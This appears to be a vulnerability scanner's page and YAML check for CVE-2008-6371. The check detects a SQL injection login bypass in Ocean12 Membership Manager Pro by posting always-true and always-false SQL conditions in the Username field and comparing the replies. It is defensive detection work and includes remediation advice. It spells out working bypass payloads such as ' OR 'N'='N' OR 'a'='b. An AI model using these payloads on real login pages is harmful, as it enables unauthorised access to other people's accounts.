Ocean12 Membership Manager — 1 vulnerability check

noctis ships 1 vulnerability check for Ocean12 Membership Manager, covering 1 CVE; each one has to observe the bug on the live service before it reports a finding.

← All products · Feeds on GitHub

Ocean12 Membership Manager Pro login.asp SQL injection authentication bypass

CVECVE-2008-6371
Severityhigh · CVSS 7.5
Categorysqli — SQL injection
Serviceshttp, https
Detectionscript, set_var, http_request, match · highest QoD 97
Feedtests/vulnerabilities/ocean12-membership-manager/CVE-2008-6371.yaml

Requests default.asp in the web root and under /membership and, when the page is the Ocean12 Membership Manager Pro login page (product title and a form posting to login.asp), posts three logins to login.asp (Username, Password) without following redirects: a wrong random login, a login whose Username ends with an always-true SQL condition (<random>' OR 'N'='N' OR 'a'='b), and one whose Username ends with an always-false condition (<random>' OR 'N'='M' OR 'a'='b), all with a random password. The finding fires with high confidence when the always-true login is redirected to main.asp, the members page a good login opens, while the wrong and always-false logins are not. Without a main.asp redirect, it fires with lower confidence when the always-false login is rejected exactly like the wrong login (same status, redirect target and login form) while the always-true login is answered (no error or block status) with a different result. Either way the Username field is evaluated inside the login SQL query and the password check can be bypassed. The requests are ordinary login attempts with random user names; no data is read or changed.

How noctis detects it

  1. Parses / computes the next value with a Rhai script
  2. HTTP(S) request GET {{dir}}/default.asp
  3. Parses / computes the next value with a Rhai script
  4. HTTP(S) request POST {{dir}}/login.asp with a crafted body
  5. HTTP(S) request POST {{dir}}/login.asp with a crafted body
  6. HTTP(S) request POST {{dir}}/login.asp with a crafted body
  7. Parses / computes the next value with a Rhai script
  8. Checks v.st for . → finding QoD 97: Ocean12 Membership Manager Pro login.asp SQL injection authentication bypass
  9. Checks v.st for . → finding QoD 75: Ocean12 Membership Manager Pro login.asp SQL injection authentication bypass

References:

Feed source — tests/vulnerabilities/ocean12-membership-manager/CVE-2008-6371.yaml
# Ocean12 Membership Manager Pro login.asp SQL injection authentication bypass (CVE-2008-6371).
#
# Reference check: OpenVAS/Greenbone NVT `2009/ocean12_sql_injection.nasl`
# (OID 1.3.6.1.4.1.25623.1.0.100037, GPL-2.0-only). It needs default.asp to carry the
# product title and a form posting to login.asp, then posts
# Username=admin ' or ' 1=1&Password=x to login.asp and reports a "Location: main.asp"
# reply. EDB-7254 (the CVE's exploit reference) gives the same login. Vendor source is
# not public (commercial classic ASP product, Access database o12member.mdb, vendor gone).
#
# Differences from the reference check:
#   - Its payload ends the injected Username with ' 1=1 — a bare string used as a
#     condition. Behind "Username='$u' AND Password='$p'" it parses as
#     Username='admin ' OR (' 1=1' AND Password='x'): the password still has to match,
#     so it only bypasses a query that checks the password first, and only on a
#     database that coerces the string to true (SQL Server rejects it). This feed
#     injects <random>' OR 'N'='N' OR 'a'='b in Username only: the true term sits
#     between two ORs, so the whole WHERE is true whatever the order of the two
#     conditions, the password stays a plain random value, and it is valid in Access,
#     SQL Server, MySQL and SQLite.
#   - Its single probe also fires on a login that redirects every POST to main.asp (which
#     then bounces anonymous users back): FP. This feed adds a plain wrong login and an
#     always-false control (<random>' OR 'N'='M' OR 'a'='b) that must both be rejected.
#   - The product directory /membership is probed as well as the web root.
#
# Three logins, redirects not followed, random user names (no real account targeted):
#   1. plain wrong login            <rand> / <rand>
#   2. true condition               <rand>' OR 'N'='N' OR 'a'='b / <rand>
#   3. false condition (control)    <rand>' OR 'N'='M' OR 'a'='b / <rand> (sent last: a
#                                   lockout or throttle after repeated failures hits it,
#                                   failing closed)
# QoD 97: 2 redirects to main.asp, the members page a good login opens, while 1 and 3 do
#         not — a real login bypass.
# QoD 75: no main.asp redirect, 3 is rejected exactly like 1 (status, redirect target,
#         login form) and 2 is an answered login (< 400, not a WAF block) with a
#         different result — the condition changes the login result.
# At most a session is opened as the first account of the table; no data is read or changed.
uid: b678cfe3-db99-4a79-bd4b-8316c5f9928c
name: "Ocean12 Membership Manager Pro login.asp SQL injection authentication bypass"
description: >-
  Requests default.asp in the web root and under /membership and, when the page is the
  Ocean12 Membership Manager Pro login page (product title and a form posting to
  login.asp), posts three logins to login.asp (Username, Password) without following
  redirects: a wrong random login, a login whose Username ends with an always-true SQL
  condition (<random>' OR 'N'='N' OR 'a'='b), and one whose Username ends with an
  always-false condition (<random>' OR 'N'='M' OR 'a'='b), all with a random password.
  The finding fires with high confidence when the always-true login is redirected to
  main.asp, the members page a good login opens, while the wrong and always-false logins
  are not. Without a main.asp redirect, it fires with lower confidence when the
  always-false login is rejected exactly like the wrong login (same status, redirect
  target and login form) while the always-true login is answered (no error or block
  status) with a different result. Either way the Username field is evaluated inside the
  login SQL query and the password check can be bypassed. The requests are ordinary login
  attempts with random user names; no data is read or changed.
category: sqli
cves: [CVE-2008-6371]
cvss: 7.5
severity: high
confidence_base: 0.30
tags: [ocean12, membership-manager, asp, sqli, auth-bypass, web-application]
services: [http, https]
author: noctis
version: "1.0.0"
references:
  - "https://nvd.nist.gov/vuln/detail/CVE-2008-6371"
  - "https://www.exploit-db.com/exploits/7254"
  - "http://www.securityfocus.com/bid/32508"
  - "https://exchange.xforce.ibmcloud.com/vulnerabilities/46959"

steps:
  - id: gen
    action: script
    code: |
      let n = rand_int(1000, 9999);
      #{ u0: rand_str(8), p0: rand_str(10), u: rand_str(8), p: rand_str(10), p2: rand_str(10),
         n: n, f: n + 1 }
    store_as: rv

  # Loop group: every following step runs once per directory. Pre-initialise the
  # stored results so a failed request never leaves them undefined or holding the
  # previous directory's reply.
  - id: init-page
    action: set_var
    var_name: page
    var_value: {status: 0, body: ""}
    loop:
      var: dir
      over: ["", "/membership"]

  - id: init-wrong
    action: set_var
    var_name: wrong
    var_value: {status: 0, body: ""}

  - id: init-ctl
    action: set_var
    var_name: ctl
    var_value: {status: 0, body: ""}

  - id: init-inj
    action: set_var
    var_name: inj
    var_value: {status: 0, body: ""}

  - id: page
    action: http_request
    method: GET
    path: "{{dir}}/default.asp"
    port: "{{port}}"
    tls_insecure: true
    follow_redirects: false
    timeout_secs: 10
    store_as: page

  - id: fp
    action: script
    code: |
      let b = if type_of(page.body) == "string" { page.body } else { "" };
      page.status == 200
        && ereg("<title>\\s*Ocean12 Membership Manager", b, true)
        && ereg("<form[^>]*action\\s*=\\s*[\"']?login\\.asp", b, true)
    store_as: is_o12

  # 1. Plain wrong login: the reference rejection.
  - id: wrong
    action: http_request
    method: POST
    path: "{{dir}}/login.asp"
    port: "{{port}}"
    tls_insecure: true
    follow_redirects: false
    timeout_secs: 10
    condition: "is_o12"
    headers:
      Content-Type: "application/x-www-form-urlencoded"
    body: "Username={{rv.u0}}&Password={{rv.p0}}"
    store_as: wrong

  # 2. Injection: always-true condition between two ORs in Username.
  - id: inject
    action: http_request
    method: POST
    path: "{{dir}}/login.asp"
    port: "{{port}}"
    tls_insecure: true
    follow_redirects: false
    timeout_secs: 10
    condition: "is_o12"
    headers:
      Content-Type: "application/x-www-form-urlencoded"
    body: "Username={{rv.u}}%27+OR+%27{{rv.n}}%27%3D%27{{rv.n}}%27+OR+%27a%27%3D%27b&Password={{rv.p}}"
    store_as: inj

  # 3. Control: false condition of the same shape — must be rejected like 1. Sent last,
  # so a lockout or throttle after repeated failures changes it and the check fails closed.
  - id: control
    action: http_request
    method: POST
    path: "{{dir}}/login.asp"
    port: "{{port}}"
    tls_insecure: true
    follow_redirects: false
    timeout_secs: 10
    condition: "is_o12"
    headers:
      Content-Type: "application/x-www-form-urlencoded"
    body: "Username={{rv.u}}%27+OR+%27{{rv.n}}%27%3D%27{{rv.f}}%27+OR+%27a%27%3D%27b&Password={{rv.p2}}"
    store_as: ctl

  - id: verdict
    action: script
    code: |
      fn loc_of(r) {
        if type_of(r) == "map" && type_of(r.headers) == "map" && type_of(r.headers["location"]) == "string" {
          return r.headers["location"];
        }
        ""
      }
      fn path_of(r) {
        let loc = loc_of(r);
        let q = loc.index_of("?");
        if q >= 0 { loc = loc.sub_string(0, q); }
        loc
      }
      fn body_of(r) {
        if type_of(r) == "map" && type_of(r.body) == "string" { r.body } else { "" }
      }
      fn answered(r) {
        type_of(r) == "map" && r.status > 0 && r.status < 400
      }
      // Redirected to main.asp, the members page a good login opens.
      fn landed(r) {
        answered(r) && r.status >= 300 && ereg("(^|/)main\\.asp$", path_of(r), true)
      }
      fn outcome(r) {
        if type_of(r) != "map" || r.status == 0 { return ""; }
        let form = if ereg("type\\s*=\\s*[\"']?password", body_of(r), true) { "form" } else { "noform" };
        "" + r.status + " " + path_of(r) + " " + form
      }
      let o1 = outcome(wrong);
      let o2 = outcome(ctl);
      let o3 = outcome(inj);
      let ok = is_o12 && o1 != "" && o2 != "" && o3 != "";
      // QoD 97: true login redirected to main.asp, wrong and false logins not.
      let bypass = ok && landed(inj) && !landed(wrong) && !landed(ctl);
      // QoD 75: generic differential — false == wrong, true answered and different.
      let diff = ok && !bypass && answered(inj) && o1 == o2 && o3 != o2;
      #{ bypass: bypass, diff: diff, o1: o1, o2: o2, o3: o3,
         st: if bypass || diff { o3 } else { "" } }
    store_as: v

  - id: sqli-login-bypass
    action: match
    source: v.st
    pattern: "."
    condition: "v.bypass"
    on_match:
      finding:
        title: "Ocean12 Membership Manager Pro login.asp SQL injection authentication bypass"
        description: "The Ocean12 Membership Manager Pro login page login.asp concatenates the Username field into its SQL query: a login whose Username ends with an always-true condition is accepted with a random password and redirected to the members page (main.asp), while the same login with an always-false condition is rejected. An unauthenticated attacker can log in without a password and inject SQL into the login query."
        confidence_delta: 0.65
        qod: 97
        evidence: "POST {{dir}}/login.asp with Username ending in ' OR '{{rv.n}}'='{{rv.n}}' OR 'a'='b and a random password gave [{{v.o3}}] (redirect to main.asp), while the false condition '{{rv.n}}'='{{rv.f}}' gave [{{v.o2}}] and a plain wrong login [{{v.o1}}] (status, redirect target, login form)."
        remediation: "Ocean12 Membership Manager Pro is no longer maintained and no fixed release is known: remove it or restrict access to its web interface to trusted hosts, and change the login query of login.asp to a parameterised query."
      stop: true

  - id: sqli-login-differential
    action: match
    source: v.st
    pattern: "."
    condition: "v.diff"
    on_match:
      finding:
        title: "Ocean12 Membership Manager Pro login.asp SQL injection authentication bypass"
        description: "The Ocean12 Membership Manager Pro login page login.asp evaluates the Username field inside its SQL query: an always-true condition in the field changes the login result, while an always-false one is rejected like a wrong password. An unauthenticated attacker can bypass the password check and inject SQL into the login query."
        confidence_delta: 0.55
        qod: 75
        evidence: "POST {{dir}}/login.asp with Username ending in ' OR '{{rv.n}}'='{{rv.n}}' OR 'a'='b gave [{{v.o3}}], while the same login with the false condition '{{rv.n}}'='{{rv.f}}' gave [{{v.o2}}], identical to a plain wrong login [{{v.o1}}] (status, redirect target, login form)."
        remediation: "Ocean12 Membership Manager Pro is no longer maintained and no fixed release is known: remove it or restrict access to its web interface to trusted hosts, and change the login query of login.asp to a parameterised query."
      stop: true

View these feeds on GitHub